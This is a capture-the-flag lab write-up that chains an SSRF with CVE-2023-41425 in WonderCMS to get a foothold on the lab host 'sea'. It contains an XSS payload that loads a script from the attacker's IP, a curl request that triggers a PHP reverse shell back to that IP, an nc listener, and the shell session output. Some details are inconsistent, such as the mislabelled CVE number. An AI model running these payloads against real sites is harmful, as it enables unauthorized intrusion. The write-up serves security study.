RCE via SSRF to CVE-2023-41425


A SSRF vulnerability has been identified in the target web application at the Website parameter of the contact.php file. The target web application has been confirmed to be running off a vulnerable instance of WonderCMS, and it suffers from a RCE vulnerability; [[Sea_CVE-2023-41425#[CVE-2023-41425](https //nvd.nist.gov/vuln/detail/CVE-2023-41425)|CVE-2021-41425]]. The exploit script has been modified

┌──(kali㉿kali)-[~/…/htb/labs/sea/CVE-2023-41425]
└─$ python3 exploit.py http://sea.htb/loginURL 10.10.15.34 9999
[+] xss.js is created
[+] execute the below command in another terminal
 
----------------------------
nc -lvp 9999
----------------------------
 
send the below link to admin:
 
----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.15.34:8000/xss.js"></script><form+action="
----------------------------
 
 
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Executing the exploit script, generating the xss.js file containing a request to fetch an archiving containing a PHP reverse shell

Delivering the XSS payload to the target web application via SSRF in the website parameter of the contact file

The admin “clicked” the link as the web application fetched the xss.js file from Kali web server

Interestingly, I am not getting a callback to fetch the main.zip file

┌──(kali㉿kali)-[~/…/htb/labs/sea/CVE-2023-41425]
└─$ curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.15.34&lport=9999'

However, I am able to trigger a reverse shell

┌──(kali㉿kali)-[~/…/htb/labs/sea/CVE-2023-41425]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.66] from (UNKNOWN) [10.10.11.28] 38270
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 14:39:27 up 43 min,  2 users,  load average: 40.18, 28.67, 18.60
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
can't access tty; job control turned off
$ whoami
www-data
$ hostname
sea
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.28  netmask 255.255.254.0  broadcast 10.10.11.255
        ether 00:50:56:94:6a:71  txqueuelen 1000  (Ethernet)
        RX packets 5056402  bytes 518740992 (518.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4792015  bytes 4625153812 (4.6 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 124014  bytes 12776479 (12.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 124014  bytes 12776479 (12.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the www-data account via chaining SSRF with CVE-2023-41425

What happened?


How was I able to execute the PHP reverse shell, when the web application never ran the xss.js file and fetched the main.zip file?

www-data@sea:/var/www/sea$ ll themes
total 16K
4.0K drwxr-xr-x 4 www-data www-data 4.0K Jul 31 15:17 .
4.0K drwxr-xr-x 2 www-data www-data 4.0K Jul 31 15:17 revshell-main
4.0K drwxr-xr-x 6 www-data www-data 4.0K Feb 22 03:06 ..
4.0K drwxr-xr-x 4 www-data www-data 4.0K Feb 22 02:54 bike

Checking at the /themes directory, I see the revshell-main directory containing the rev.php file. The last modified date is set to July 31. This suggests that the revshell-main directory exists by default..